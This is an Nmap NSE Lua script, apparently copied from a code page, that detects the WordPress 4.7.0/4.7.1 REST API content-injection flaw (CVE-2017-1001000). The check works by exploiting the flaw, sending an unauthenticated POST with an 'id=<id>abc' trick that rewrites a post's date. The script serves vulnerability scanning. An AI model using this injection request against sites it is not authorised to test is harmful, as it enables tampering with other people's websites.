1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
|
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local vulns = require "vulns"
local json = require "json"
description = [[
Attempts to detect a privilege escalation vulnerability in Wordpress 4.7.0 and 4.7.1 that
allows unauthenticated users to inject content in posts.
The script connects to the Wordpress REST API to obtain the list of published posts and
grabs the user id and date from there. Then it attempts to update the date field in the
post with the same date information we just obtained. If the request doesn’t return an
error, we mark the server as vulnerable.
References:
https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
]]
---
-- @usage
-- nmap --script http-vuln-cve2017-1001000 --script-args http-vuln-cve2017-1001000="uri" <target>
-- nmap --script http-vuln-cve2017-1001000 <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-vuln-cve2017-1001000:
-- | VULNERABLE:
-- | Content Injection in Wordpress REST API
-- | State: VULNERABLE (Exploitable)
-- | IDs: CVE:CVE-2017-1001000
-- | Risk factor: Medium CVSSv2: 5.0 (MEDIUM)
-- | The privilege escalation vulnerability in WordPress REST API allows
-- | the visitors to edit any post on the site
-- | Versions 4.7.0 and 4.7.1 are known to be affected
-- |
-- | References:
-- |_ https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
--
-- @xmloutput
-- <table key="CVE-2017-1001000">
-- <elem key="title">Content Injection in Wordpress REST API</elem>
-- <elem key="state">VULNERABLE (Exploitable)</elem>
-- <table key="ids">
-- <elem>CVE:CVE-2017-1001000</elem>
-- </table>
-- <table key="scores">
-- <elem key="CVSSv2">5.0 (MEDIUM)</elem>
-- </table>
-- <table key="description">
-- <elem>The privilege escalation vulnerability in WordPress REST API allows
 the visitors to edit
-- any post on the site.
 Versions 4.7.0 and 4.7.1 are known to be affected

-- </elem>
-- </table>
-- <table key="refs">
-- <elem>https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html</elem>
-- </table>
-- </table>
--
-- @args http-vuln-cve2017-1001000.uri Wordpress root directory on the website. Default: /
---
author = "Vinamra Bhatia"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "safe"}
portrule = shortport.http
action = function(host, port)
local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/'
uri = uri .. 'index.php/wp-json/wp/v2/posts/' --Uri is appended to get the JSON data
local response = http.get(host, port, uri, nil)
if response.status and response.status == 200 then
local vulnReport = vulns.Report:new(SCRIPT_NAME, host, port)
local vuln_table = {
title = 'Content Injection Vulnerability in Wordpress REST API',
state = vulns.STATE.NOT_VULN, --default Non Vulnerable State
IDS = {CVE = 'CVE-2017-1001000'},
risk_factor = "Medium",
scores = {
CVSSv2 = "5.0 (MEDIUM)",
},
description = [[
The privilege escalation vulnerability in WordPress REST API allows
the visitors to edit any post on the site .
Versions 4.7.0 and 4.7.1 are known to be affected.
]],
references = {
'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html'
},
}
local status, json_data = json.parse(response.body)
--Parsing the json_data to get the ID of the first post and the date.
local id=json_data[1].id
local content=json_data[1].date
if(id==nil or content==nil) then
return vulnReport:make_output(vuln_table)
end
--Modifying the uri and checking for response.
--Date modification request is being sent.
uri = uri ..id..'/'..'?id=' .. id ..'abc'..'&date='..content
local request_opts = {
header = {
},
}
request_opts["header"]["Content-type"] = 'application/json'
local response1 = http.post(host, port, uri, request_opts)
--If response is correct, means the site allowed the modification
--of the post and it is vulnerable.
if(response1.status and response1.status==200) then
vuln_table.state = vulns.STATE.VULN
end
return vulnReport:make_output(vuln_table)
end
end
|
